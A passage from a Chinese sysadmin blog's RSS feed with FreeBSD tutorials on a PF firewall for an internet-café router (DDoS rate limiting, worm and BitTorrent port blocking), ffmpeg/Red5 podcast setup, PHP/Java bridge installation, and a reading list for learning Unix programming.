sendmail_outbound_enable=&#8221;NO&#8221;
sendmail_msp_queue_enable=&#8221;NO&#8221;
clear_tmp_enable=&#8221;YES&#8221;
update_motd=&#8221;NO&#8221;
tcp_drop_synfin=&#8221;YES&#8221;
#icmp_drop_redirect=&#8221;YES&#8221;
#icmp_log_redirect=&#8221;YES&#8221;
#log_in_vain=&#8221;YES&#8221;
#accounting_enable=&#8221;YES&#8221;
pf_enable=&#8221;YES&#8221;
pf_rules=&#8221;/etc/pf.conf&#8221;
pf_flags=&#8221;"
#pflog_enable=&#8221;YES&#8221;
#pflog_logfile=&#8221;/var/log/pflog&#8221;








这里我就加了句pf_enable=&#8221;YES&#8221; </p>
<p>uname -a
FreeBSD pf.com 6.2-RC1 FreeBSD 6.2-RC1 #0: Thu Nov 23 04:20:46 CST 2006 sshpf@pf.com:/usr/src/sys/i386/compile/PFOK i386 </p>
<p>我的pf.conf </p>
<p>#pfctl -e [...]]]></description>
			<content:encoded><![CDATA[<p>现网站和外挂经常带arp和ddos攻击,本来用ros做网吧路由器顶不住ddos，只能换FB6.2+pf,前几天用FB6.2+PF，人多时出watchdog timeout,下面是安装步骤，操作一个写一个， </p>
<p>cd /usr/src/sys/i386/conf<br />
cp GERENIC PFOK<br />
ee FFOK </p>
<p>修改并加入下面东东 </p>
<p>ident PFOK<br />
device pf<br />
device pflog<br />
device pfsync<br />
options ALTQ<br />
options ALTQ_CBQ<br />
options ALTQ_RED<br />
options ALTQ_RIO<br />
options ALTQ_HFSC<br />
options ALTQ_PRIQ<br />
options ALTQ_NOPCC<br />
options PANIC_REBOOT_WAIT_TIME=0<br />
options DEVICE_POLLING<br />
options HZ=2000<br />
options IPSTEALTH<br />
# options RANDOM_IP_ID<br />
options TCP_DROP_SYNFIN </p>
<p>config PFOK<br />
cd /usr/src/sys/i386/compile/PFOK<br />
make depend<br />
make<br />
make install<br />
reboot </p>
<p>ee /etc/sysctl.conf<br />
net.inet.ip.forwarding=1<br />
net.inet.ip.fastforwarding=1<br />
net.inet.tcp.drop_synfin=1<br />
net.inet.tcp.sendspace=65536<br />
net.inet.tcp.recvspace=65536<br />
#net.inet.udp.sendspace=65535<br />
net.inet.udp.maxdgram=65535<br />
net.local.stream.sendspace=65535<br />
net.inet.tcp.rfc1323=1<br />
#net.inet.tcp.rfc1644=1<br />
net.inet.tcp.rfc3042=1<br />
net.inet.tcp.rfc3390=1<br />
kern.ipc.maxsockbuf=2097152<br />
kern.maxfiles=65536<br />
kern.maxfilesperproc=32768<br />
kern.polling.enable=1<br />
kern.polling.burst_max=500<br />
kern.ipc.somaxconn=2048<br />
kern.ipc.nmbclusters=32768<br />
net.inet.tcp.delayed_ack=0<br />
net.inet.icmp.icmplim=100<br />
net.inet.icmp.icmplim_output=0<br />
net.inet.tcp.drop_synfin=1<br />
<span id="more-1058"></span><br />
ee /boot/loader.conf<br />
autobootdelay=&#8221;2&#8243; </p>
<p>ee /etc/rc.conf<br />
sendmail_enable=&#8221;NONE&#8221;<br />
sendmail_submit_enable=&#8221;NO&#8221;<br />
sendmail_outbound_enable=&#8221;NO&#8221;<br />
sendmail_msp_queue_enable=&#8221;NO&#8221;<br />
clear_tmp_enable=&#8221;YES&#8221;<br />
update_motd=&#8221;NO&#8221;<br />
tcp_drop_synfin=&#8221;YES&#8221;<br />
#icmp_drop_redirect=&#8221;YES&#8221;<br />
#icmp_log_redirect=&#8221;YES&#8221;<br />
#log_in_vain=&#8221;YES&#8221;<br />
#accounting_enable=&#8221;YES&#8221;<br />
pf_enable=&#8221;YES&#8221;<br />
pf_rules=&#8221;/etc/pf.conf&#8221;<br />
pf_flags=&#8221;"<br />
#pflog_enable=&#8221;YES&#8221;<br />
#pflog_logfile=&#8221;/var/log/pflog&#8221;<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
这里我就加了句pf_enable=&#8221;YES&#8221; </p>
<p>uname -a<br />
FreeBSD pf.com 6.2-RC1 FreeBSD 6.2-RC1 #0: Thu Nov 23 04:20:46 CST 2006 sshpf@pf.com:/usr/src/sys/i386/compile/PFOK i386 </p>
<p>我的pf.conf </p>
<p>#pfctl -e -F all -f /etc/pf.conf </p>
<p>#只重新load过滤规则<br />
#pfctl -F rules -Rf /etc/pf.conf </p>
<p>#pfctl -f /etc/pf.conf # 重新加载pf.conf 设定档<br />
#pfctl -nf /etc/pf.conf # 确认语法有无符合，但不载入<br />
#pfctl -Nf /etc/pf.conf # 只加载 NAT 的设定档<br />
#pfctl -Rf /etc/pf.conf # 只加载防火墙的过滤设定档 </p>
<p>#pfctl -sn # 显示现阶段 NAT 的规则<br />
#pfctl -sr # 显示现阶段过滤的规则<br />
#pfctl -ss # 显示现阶段封包运作状态<br />
#pfctl -si # 显示现阶段过滤封包的统计资料<br />
#pfctl -sa # 显示现阶段所有统计的数据 </p>
<p>ext_if=&#8221;rl0&#8243;<br />
#edu_if=&#8221;"<br />
int_if=&#8221;fxp0&#8243; </p>
<p>ext_addr=&#8221;192.168.1.51&#8243; </p>
<p>int_net=&#8221;172.16.0.0/16&#8243;<br />
ext_net = &#8220;192.168.0.0/16&#8243;<br />
loop = &#8220;{lo0, 127.0.0.1}&#8221;<br />
OpenPorts = &#8220;{21, 22, 80, 88, 4899}&#8221;<br />
InsideManagerIPs = &#8220;{172.16.0.100}&#8221;<br />
InsiteManagerOpenPorts = &#8220;{21, 22, 23, 24, 25, 80, 4899}&#8221;<br />
priv_nets = &#8220;{ 127.0.0.0/8, 192.168.0.0/16, 172.16.0.0/12}&#8221; # 定義符合 RFC 1918 私有IP 部份<br />
tcp_services = &#8220;{ 22, 88, 4899, 123 }&#8221; # 定義 port 22, 113 服務<br />
icmp_types = &#8220;echoreq&#8221; # 定義 tcmp 回應狀態 </p>
<p>## down inactive connection quickly<br />
set optimization aggressive </p>
<p># Normalization: reassemble fragments and resolve or reduce traffic ambiguities.<br />
scrub in all </p>
<p>nat on $ext_if from $int_net to any -> ($ext_if)<br />
#nat on $ext_if from $int_net to $ext_net -> ($ext_if) </p>
<p>#web server map<br />
#rdr pass on $ext_if proto tcp from any to $ext_if port {www,3389,4899,7745} -> $web_server </p>
<p>#&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-以下防DOS攻击&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
#每个IP最大可以有120个非并发的连接（为局域网用户访问本站考虑）<br />
#每个IP最大连接建立的速率小于每秒8个<br />
#单个IP的最大持续连接数 30<br />
#违反以上规则，把这个ip添加到<abusive_hosts>表中<br />
table <abusive_hosts> persist #维持一个持续的表<br />
block in quick from <abusive_hosts> #阻止表中的ip<br />
pass in on $int_if inet proto tcp from any to $int_if flags S/SA keep state \<br />
(source-track rule,max-src-conn 100, max-src-conn-rate 15/3,max-src-states 30,overload <abusive_hosts> flush, src.track 1) </p>
<p>LSassVirusPort = &#8220;{445, 135, 139, 593, 512, 5554, 9996, 9995}&#8221;<br />
block quick on $int_if inet proto tcp from any to any port $LSassVirusPort </p>
<p>BitTorrentPort= &#8220;{ 512, 2049, 4662, 6880, 6881, 6882, 6883, 6884, 6885, 6886, 6887, 6888, 6889, \<br />
6890, 8880, 8881, 8882, 8883, 8884, 8885, 8886, 8887, 8888, 8889, 8890, 6969, 10700, 21881}&#8221;<br />
block quick on $int_if inet proto tcp from any to any port $BitTorrentPort<br />
block quick on $int_if inet proto tcp from any port $BitTorrentPort to any<br />
block quick on $ext_if inet proto tcp from any to any port $BitTorrentPort<br />
block quick on $ext_if inet proto tcp from any port $BitTorrentPort to any<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
#gameClientPorts = &#8220;{4002, 2000, 3838, 4410, 4210, 4230, 5005, 4290, 10010 }&#8221;<br />
#GameDenyClients =&#8221;{192.168.128.0/24, 192.168.132.0/24}&#8221;<br />
#GameServerIps = &#8220;{204.251.15.167, 61.152.93.145}&#8221;<br />
#block quick on $int_if inet proto tcp from $GameDenyClients to any port $gameClientPorts<br />
#block quick on $ext_if from $GameServerIps to $GameDenyClients<br />
#block quick on $int_if from $GameDenyClients to $GameServerIps </p>
<p>denyserverips = &#8220;{202.108.193.21}&#8221;<br />
block quick on $int_if from any to $denyserverips </p>
<p>#LSassVirusIp =&#8221;{192.168.1.194}&#8221;<br />
#block quick on $int_if from $LSassVirusIp to any</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1058.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>freebsd 播客安装教程(附带mencoder　转换)</title>
		<link>http://www.evanjiang.net.cn/archives/1055.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1055.html#comments</comments>
		<pubDate>Wed, 20 May 2009 06:11:34 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[It Tips]]></category>
		<category><![CDATA[freebsd unix]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1055</guid>
		<description><![CDATA[<p>操作系统为freebsd6.2,更新你的ports</p>
<p>一、视频转换</p>
<p>1、主要是安装ffmpeg，我们选择ports下的ffmpeg-devel，要在make上加几个参数，不然的话，转制的会没有声音
    先安装　ffmpeg　</p>
<p>  　cd　/usr/ports/multimedia/ffmpeg
　　ports　安装ffmpeg-devel　在 </p>
<p>    cd /usr/ports/multimedia/ffmpeg-devel</p>
<p>    make WITH_X264=yes WITH_XVID=yes WITH_DTS=yes WITH_LAME=yes
　　这个花费时间比较长
　　make install </p>
<p>　如果要想使用mencoder转换的话，要装mplayer 　不过mencoder　不能截图。还得使用ffmpeg　
　cd　/usr/ports/multimedia/mplayer
　make　config　要是支持rmvb,rm　的话要选那个realplayer</p>
<p>   make install</p>
<p>2、安装bash，主要是为convert脚本的使用，那个脚本是用bash写的,也可以不安装把/usr/local/bin/bash　改为/bin/sh
　　cd　/usr/ports/shell/bash
3、convert脚本
    给convert加上执行权限，convert内容为
    修改SiteRoot　为你supesite的目录
引用:

#!/usr/local/bin/bash
        Extension=&#8221;mpg 3gp mov mpeg vod mp4 m4v avi wmv&#8221;
    [...]]]></description>
			<content:encoded><![CDATA[<p>操作系统为freebsd6.2,更新你的ports</p>
<p>一、视频转换</p>
<p>1、主要是安装ffmpeg，我们选择ports下的ffmpeg-devel，要在make上加几个参数，不然的话，转制的会没有声音<br />
    先安装　ffmpeg　</p>
<p>  　cd　/usr/ports/multimedia/ffmpeg<br />
　　ports　安装ffmpeg-devel　在 </p>
<p>    cd /usr/ports/multimedia/ffmpeg-devel</p>
<p>    make WITH_X264=yes WITH_XVID=yes WITH_DTS=yes WITH_LAME=yes<br />
　　这个花费时间比较长<br />
　　make install </p>
<p>　如果要想使用mencoder转换的话，要装mplayer 　不过mencoder　不能截图。还得使用ffmpeg　<br />
　cd　/usr/ports/multimedia/mplayer<br />
　make　config　要是支持rmvb,rm　的话要选那个realplayer</p>
<p>   make install</p>
<p>2、安装bash，主要是为convert脚本的使用，那个脚本是用bash写的,也可以不安装把/usr/local/bin/bash　改为/bin/sh<br />
　　cd　/usr/ports/shell/bash<br />
3、convert脚本<br />
    给convert加上执行权限，convert内容为<br />
    修改SiteRoot　为你supesite的目录<br />
引用:<br />
<span id="more-1055"></span><br />
#!/usr/local/bin/bash<br />
        Extension=&#8221;mpg 3gp mov mpeg vod mp4 m4v avi wmv&#8221;<br />
        SiteRoot=&#8221;/usr/local/www/data&#8221;<br />
        for e in $Extension; do<br />
                FullFiles=`find $SiteRoot/video/temp -name &#8220;*.$e&#8221; -exec ls {} \;`<br />
                for FullFile in $FullFiles;do<br />
                if [ -f $FullFile ];then<br />
                        a=`basename $FullFile | awk -F &#8220;.&#8221; &#8216;{print $1}&#8217;`<br />
                        b=`echo  $a | cut -d_ -f 2 | cut -c-6`<br />
                        if [ !-d $SiteRoot/video/$b ]; then<br />
                                mkdir $SiteRoot/video/$b<br />
                                chown -R www:www $SiteRoot/video/$b<br />
                        fi<br />
                                               #ffmpeg 转换<br />
                        ffmpeg -i $FullFile -y -ab 56 -ar 11025 -ac 2 -qscale 9 -t 900 -r 15 -s 320*240 $SiteRoot/video/$b/$a.flv<br />
                                               #mencoder 转换<br />
                                               #mencoder &#8220;$FullFile&#8221; -o &#8220;$SiteRoot/video/$b/$a.flv&#8221; -of lavf  -lavfopts i_certify_that_my_video_stream_does_not_use_<br />
b_frames -oac mp3lame -lameopts abr:br=56 -ovc lavc -lavcopts vcodec=flv:vbitrate=500:mbd=2:mv0:trell:v4mv:cbp:last_pred=3:dia=4:cmp<br />
=6:vb_strategy=1 -vf scale=512:-3 -ofps 12 -srate 22050<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
</p>
<p>                        chown www:www $SiteRoot/video/$b/$a.flv<br />
                        ffmpeg -i $SiteRoot/video/$b/$a.flv -y -f image2 -ss 8 -sameq -t 0.001 -s 320*240 $SiteRoot/video/$b/$a.jpg<br />
                        chown www:www $SiteRoot/video/$b/$a.jpg<br />
                        rm $FullFile<br />
                fi<br />
                done<br />
        done<br />
4、设定计划任务<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
　编辑/etc/crontab　文件</p>
<p>　在path中加入/usr/local/bin　</p>
<p>　按i，进入插入状态，然后输入计划命令，其中的n表示每n分钟执行一次转换，可根据自身情况修改n值，<br />
　如：10(每10分钟执行一次转换)<br />
　0-59/n * * * * 　/usr/local/bin/convert　<-修改为你convert路径<br />
二、在线录制<br />
1、安装diablo-jdk1.5　<br />
　　ports安装<br />
　　cd /usr/ports/java/diablo-jdk1.5　<br />
　　这个要手动下载diablo-caffe-freebsd6-i386-1.5.0_07-b01.tar.bz2，根据提示操作就行。<br />
2、安装ant<br />
　　ports　安装<br />
　　cd /usr/ports/devel/apache-ant-1.7.0<br />
3、安装red5<br />
　　下载http://dl.fancycode.com/red5/red5-0.6rc2.tar.gz<br />
　　将red5-0.6rc2.tar.gz 放到/tmp 目录下<br />
　　mv  red5-0.6rc2.tar.gz /tmp<br />
　　cd  /usr/local<br />
　  tar  -zxf  /tmp/red5-0.6rc2.tar.gz<br />
    mv  red5-0.6rc2  red5</p>
<p>    请重新编译red5<br />
    cd  /usr/local/red5<br />
    vi  build.properties<br />
    找到java.target_version=1.6修改为java.target_version=1.5，然后进行重新编译<br />
    执行make</p>
<p>    将online.zip 解压到 /usr/local/red5/webapps 下<br />
　　online.zip 下载地址：http://www.supesite.com/tools/online.zip<br />
　　cd  /usr/local/red5/webapps<br />
　　tar  -zxf  /tmp/online.tar.gz<br />
　　开启Red5服务<br />
　　/usr/local/red5/red5.sh &#038;</p>
<p>　　好，现在就可以播客。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1055.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Freebsd 安装php/java bridge 方法与日志</title>
		<link>http://www.evanjiang.net.cn/archives/1010.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1010.html#comments</comments>
		<pubDate>Fri, 08 May 2009 15:48:49 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[freebsd unix]]></category>
		<category><![CDATA[jboss]]></category>
		<category><![CDATA[resin]]></category>
		<category><![CDATA[系统架构]]></category>
		<category><![CDATA[php java bridge]]></category>
		<category><![CDATA[添加新标签]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1010</guid>
		<description><![CDATA[<p>Freebsd 安装php/java bridge 方法与日志
Evan.Jiang
一、	安装Freebsd
安装freebsd的过程可参考其它文档，在这里可略
二、	安装JDK/JRE
1、下载由freebsd开发团队编译好的jdk/jre 1.5版本。
2、安装jdk/jre 1.5版本</p>
<p>1、安装jdk/jre
#pkg_add diablo-jdk-freebsd6-1.5.0.06.00.tbz
#pkg_add diablo-jre-freebsd6-1.5.0.06.00.tbz
2、	安装javavmwrapper
# cd /usr/ports/java/javavmwrapper
# make install clean </p>
<p>三、	下载php/java bridge
1、	下载php/java bridge
在下面网址下载php/java bridge 的源代码版本与字节版本</p>
<p>http://sourceforge.net/project/showfiles.php?group_id=117793</p>
<p>四、	上传php/java bridge
1、用cuteftp或leapftp等工具上传到服务器.</p>
<p>五、	解压php/java bridge
# tar zxvf php-java-bridge_3.1.8rc2.tar.bz2
# unzip –x php-java-bridge_3.1.8rc2_j2ee.zip
六、	安装php/javabridge
进入php/javabridge 解压目录.
1、# phpize &#038;&#038; ./configure &#8211;disable-backend &#8211;with-java= /usr/local/diablo-jdk1.5.0,/usr/local/diablo-jre1.5.0 &#038;&#038; /usr/local/bin/gmake
2、#sh install.sh
3、#make  install

七、	设置php.ini文件
#  vi /usr/local/Zend/etc/php.ini
在最后加入以下内容：
[java]
java.hosts = 127.0.0.1:8080
java.servlet = On
八、	安装resin等back-end
1 、# cd /usr/ports/www/resin3
2、# make WITH_APACHE2=yes install clean
3、编辑httpd.conf 在后面加入以下内容：

   [...]]]></description>
			<content:encoded><![CDATA[<p>Freebsd 安装php/java bridge 方法与日志<br />
Evan.Jiang<br />
一、	安装Freebsd<br />
安装freebsd的过程可参考其它文档，在这里可略<br />
二、	安装JDK/JRE<br />
1、下载由freebsd开发团队编译好的jdk/jre 1.5版本。<br />
2、安装jdk/jre 1.5版本</p>
<p>1、安装jdk/jre<br />
#pkg_add diablo-jdk-freebsd6-1.5.0.06.00.tbz<br />
#pkg_add diablo-jre-freebsd6-1.5.0.06.00.tbz<br />
2、	安装javavmwrapper<br />
# cd /usr/ports/java/javavmwrapper<br />
# make install clean </p>
<p>三、	下载php/java bridge<br />
1、	下载php/java bridge<br />
在下面网址下载php/java bridge 的源代码版本与字节版本</p>
<p>http://sourceforge.net/project/showfiles.php?group_id=117793</p>
<p>四、	上传php/java bridge<br />
1、用cuteftp或leapftp等工具上传到服务器.</p>
<p>五、	解压php/java bridge<br />
# tar zxvf php-java-bridge_3.1.8rc2.tar.bz2<br />
# unzip –x php-java-bridge_3.1.8rc2_j2ee.zip<br />
六、	安装php/javabridge<br />
进入php/javabridge 解压目录.<br />
1、# phpize &#038;&#038; ./configure &#8211;disable-backend &#8211;with-java= /usr/local/diablo-jdk1.5.0,/usr/local/diablo-jre1.5.0 &#038;&#038; /usr/local/bin/gmake<br />
2、#sh install.sh<br />
3、#make  install<br />
<span id="more-1010"></span><br />
七、	设置php.ini文件<br />
#  vi /usr/local/Zend/etc/php.ini<br />
在最后加入以下内容：<br />
[java]<br />
java.hosts = 127.0.0.1:8080<br />
java.servlet = On<br />
八、	安装resin等back-end<br />
1 、# cd /usr/ports/www/resin3<br />
2、# make WITH_APACHE2=yes install clean<br />
3、编辑httpd.conf 在后面加入以下内容：<br />
<IfModule mod_caucho.c><br />
    ResinConfigServer localhost 6802<br />
</IfModule><br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
4、	设置resin3随机启动<br />
5、	echo ‘resin3_enable=&#8221;YES&#8221; ‘ >> /etc/rc.conf<br />
6、	手动启动resin3<br />
#/usr/local/etc/rc.d/resin3.sh start<br />
7、<br />
九、	在resin的webapps建相应目录。<br />
 #cd /usr/local/resin/webapps<br />
#mkdir JavaBridge<br />
进入php-java-bridge_3.1.8rc2_j2ee的解压目录<br />
将JavaBridge .war 复制resin的webapps下的JavaBridge目录解压。<br />
# cp JavaBridge.war /usr/local/resin3/webapps/JavaBridge/<br />
#cd /usr/local/resin3/webapps/JavaBridge/<br />
# tar zxvf JavaBridge.war<br />
赋于 /usr/local/resin3/webapps/JavaBridge/权限<br />
# cd /usr/local/resin3/webapps/<br />
#chmod –R 777 JavaBridge/<br />
重启服务器<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
十、	测试php/java bridge<br />
在网站根目录建一个test.php ，内容如下：<br />
<?php</p>
<p>// get instance of Java class java.lang.System in PHP<br />
$system = new Java('java.lang.System');</p>
<p>// demonstrate property access<br />
echo 'Java version=' . $system->getProperty(&#8216;java.version&#8217;) . &#8216;<br />&#8216;;<br />
echo &#8216;Java vendor=&#8217; . $system->getProperty(&#8216;java.vendor&#8217;) . &#8216;<br />&#8216;;<br />
echo &#8216;Java classpath=&#8217; . $system->getProperty(&#8216;java.classpath&#8217;) . &#8216;<br />&#8216;;<br />
echo &#8216;Java home=&#8217; . $system->getProperty(&#8216;java.java_home&#8217;) . &#8216;<br />&#8216;;<br />
echo &#8216;OS=&#8217; . $system->getProperty(&#8216;os.name&#8217;) . &#8216; &#8216; .<br />
$system->getProperty(&#8216;os.version&#8217;) . &#8216; on &#8216; .<br />
$system->getProperty(&#8216;os.arch&#8217;) . &#8216; <br />&#8216;;</p>
<p>// java.util.Date example<br />
$formatter = new Java(&#8216;java.text.SimpleDateFormat&#8217;,<br />
&#8220;EEEE, MMMM dd, yyyy &#8216;at&#8217; h:mm:ss a zzzz&#8221;);</p>
<p>echo $formatter->format(new Java(&#8216;java.util.Date&#8217;));</p>
<p>?></p>
<p>打开浏览器 输入 http://ip/test.php<br />
见到以下内容就可确定php/java bridge 安装正确<br />
Java version=1.5.0<br />
Java vendor=Sun Microsystems Inc.<br />
Java classpath=<br />
Java home=<br />
OS=FreeBSD 6.0-RELEASE on i386<br />
[o(String):"Friday, September 08, 2006 at 10:54:13 AM China Standard Time"]<br />
十一、	</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1010.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>学习linux/unix编程方法的建议.</title>
		<link>http://www.evanjiang.net.cn/archives/1001.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1001.html#comments</comments>
		<pubDate>Wed, 06 May 2009 16:16:13 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[other linux]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1001</guid>
		<description><![CDATA[<p>解答：学习Linux的四个步骤
假设你是计算机科班出身，计算机系的基本课程如数据结构、操作系统、体系结构、编译原理、计算机网络你全修过
我想大概可以分为4个阶段，水平从低到高
从安装使用=>linux常用命令=>linux系统编程=>内核开发阅读内核源码
其中学习linux常用命令时就要学会自己编译内核，优化系统，调整参数
安装和常用命令书太多了，找本稍微详细点的就ok，其间需要学会正则表达式
系统编程推荐《高级unix环境编程》，黑话叫APUE
还有《unix网络编程》
这时候大概还需要看资料理解elf文件格式，连接器和加载器，cmu的一本教材中文名为《深入理解计算机系统》比较好
内核开发阅读内核源码阶段，从写驱动入手逐渐深入linux内核开发
参考书如下《linux device drivers》，黑话叫ldd
《linux kernel development》，黑话叫lkd
《understading the linux kernel》，黑话叫utlk
《linux源码情景分析》
这四本书为搞内核的必读书籍
最后，第三阶段和第四阶段最重动手，空言无益，光看书也不罩，不动手那些东西不能理解。

学习linux/unix编程方法的建议
建议学习路径：
　　首先先学学编辑器，vim, emacs什么的都行。
然后学make file文件，只要知道一点就行，这样就可以准备编程序。
　　然后看看《C程序设计语言》K&#038;R，这样呢，基本上就可以进行一般的编程了，顺便找本数据结构的书来看。
　　如果想学习UNIX/LINUX的编程，《APUE》绝对经典的教材，加深一下功底，学习《UNP》的第二卷。这样基本上系统方面的就可以掌握了。
　　然后再看Douglus E. Comer的《用TCP/IP进行网际互连》第一卷，学习一下网络的知识，再看《UNP》的第一卷，不仅学习网络编程，而且对系统编程的一些常用的技巧就很熟悉了，如果继续网络编程，建议看《TCP/IP进行网际互连》的第三卷，里面有很多关于应用协议telnet、ftp等协议的编程。
如果想写设备驱动程序，首先您的系统编程的接口比如文件、IPC等必须要熟知，再学习《LDD》2。
　







　对于几本经典教材的评价：
　　《The C Programing Language》K&#038;R 经典的C语言程序设计教材，作者是C语言的发明者，教材内容深入浅出。虽然有点老，但是必备的一本手册，现在有时候我还常翻翻。篇幅比较小，但是每看一遍，就有一遍的收获。另外也可用谭浩强的《C语言程序设计》代替。
　　《Advanced Programing in Unix Envirement》 W.Richard Stevens：也是非常经典的书（废话，Stevens的书哪有不经典的！），虽然初学者就可以看，但是事实上它是《Unix Network Programing》的一本辅助资料。国内的翻译的《UNIX环境高级编程》的水平不怎么样，现在有影印版，直接读英文比读中文来得容易。
　　《Unix Network Programing》W.Richard Stevens：第一卷讲BSD Socket网络编程接口和另外一种网络编程接口的，不过现在一般都用BSD Socket，所以这本书只要看大约一半多就可以了。第二卷没有设计到网络的东西，主要讲进程间通讯和Posix线程。所以看了《APUE》以后，就可以看它了，基本上系统的东西就由《APUE》和《UNP》vol2概括了。看过《UNP》以后，您就会知道系统编程的绝大部分编程技巧，即使卷一是讲网络编程的。国内是清华翻译得《Unix网络编程》，翻译者得功底也比较高，翻译地比较好。所以建议还是看中文版。
　　《TCP/IP祥解》一共三卷，卷一讲协议，卷二讲实现，卷三讲编程应用。我没有怎么看过。，但是据说也很经典的，因为我没有时间看卷二，所以不便评价。
　　《用TCP/IP进行网际互连》Douglus.E.Comer 一共三卷，卷一讲原理，卷二讲实现，卷三讲高级协议。感觉上这一套要比Stevens的那一套要好，就连Stevens也不得不承认它的第一卷非常经典。事实上，第一卷即使你没有一点网络的知识，看完以后也会对网络的来龙去脉了如指掌。第一卷中还有很多习题也设计得经典和实用，因为作者本身就是一位教师，并且卷一是国外研究生的教材。习题并没有答案，留给读者思考，因为问题得答案可以让你成为一个中级的Hacker，这些问题的答案可以象Douglus索取，不过只有他只给教师卷二我没有怎么看，卷三可以作为参考手册，其中地例子也很经典。如果您看过Qterm的源代码，就会知道Qterm的telnet 实现部分大多数就是从这本书的源代码过来的。对于网络原理的书，我推荐它，而不是Stevens的《TCP/IP祥解》。








　　《Operating System &#8211; Design and Implement》这个是讲操作系统的书，用Minix做的例子。作者母语不是英文，所以英文看起来比较晦涩。国内翻译的是《操作系统设计与实现》，我没看过中文版，因为翻译者是尤晋元，他翻译的《APUE》已经让我失望头顶了。读了这本书，对操作系统的底层怎么工作的就会
有一个清晰的认识。
　　《Linux Device Driver》2e ，为数不多的关于Linux设备驱动程序的好书。不过内容有些杂乱，如果您没有一些写驱动的经验，初次看会有些摸不着南北。国内翻译的是《Linux设备驱动程序》第二版，第一版，第二版的译者我都有很深的接触，不过总体上来说，虽然第二版翻译的有些不尽人意，但是相比第一版来说已经超出了一大截。要读这一本书，至少应该先找一些《计算机原理》《计算机体系结构》的书来马马虎虎读读，至少应该对硬件和计算机的工作过程有一些了解。</p>
]]></description>
			<content:encoded><![CDATA[<p>解答：学习Linux的四个步骤<br />
假设你是计算机科班出身，计算机系的基本课程如数据结构、操作系统、体系结构、编译原理、计算机网络你全修过<br />
我想大概可以分为4个阶段，水平从低到高<br />
从安装使用=>linux常用命令=>linux系统编程=>内核开发阅读内核源码<br />
其中学习linux常用命令时就要学会自己编译内核，优化系统，调整参数<br />
安装和常用命令书太多了，找本稍微详细点的就ok，其间需要学会正则表达式<br />
系统编程推荐《高级unix环境编程》，黑话叫APUE<br />
还有《unix网络编程》<br />
这时候大概还需要看资料理解elf文件格式，连接器和加载器，cmu的一本教材中文名为《深入理解计算机系统》比较好<br />
内核开发阅读内核源码阶段，从写驱动入手逐渐深入linux内核开发<br />
参考书如下《linux device drivers》，黑话叫ldd<br />
《linux kernel development》，黑话叫lkd<br />
《understading the linux kernel》，黑话叫utlk<br />
《linux源码情景分析》<br />
这四本书为搞内核的必读书籍<br />
最后，第三阶段和第四阶段最重动手，空言无益，光看书也不罩，不动手那些东西不能理解。<br />
<span id="more-1001"></span><br />
学习linux/unix编程方法的建议<br />
建议学习路径：<br />
　　首先先学学编辑器，vim, emacs什么的都行。<br />
然后学make file文件，只要知道一点就行，这样就可以准备编程序。<br />
　　然后看看《C程序设计语言》K&#038;R，这样呢，基本上就可以进行一般的编程了，顺便找本数据结构的书来看。<br />
　　如果想学习UNIX/LINUX的编程，《APUE》绝对经典的教材，加深一下功底，学习《UNP》的第二卷。这样基本上系统方面的就可以掌握了。<br />
